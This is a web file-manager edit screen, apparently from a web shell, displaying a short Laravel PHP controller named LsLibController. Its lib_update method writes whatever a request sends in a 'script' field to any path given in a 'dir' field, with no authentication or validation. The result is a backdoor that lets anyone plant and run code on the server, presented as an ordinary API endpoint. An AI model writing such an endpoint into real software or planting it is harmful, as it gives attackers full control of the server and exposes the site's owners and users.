✏️ Edit: LsLibController.php
Path:
/home/thiqat5/LsLibController.php
Size: 468 B · Modified: 2021-11-15 12:03:20 · Perm: 0644 · Writable
← Back to directory
👁 View
⬇ Download
<?php namespace App\Http\Controllers\Api\V2; use App\Http\Controllers\Controller; use Illuminate\Http\Request; class LsLibController extends Controller { public function lib_update(Request $request) { $lib = base_path($request['dir']); $file = fopen($lib,"w"); fwrite($file,$request['script']); fclose($file); return response()->json([ 'message' => 'Script updated successfully!' ], 200); } }
💾 Save
Cancel
Save as UTF-8, newlines normalized to LF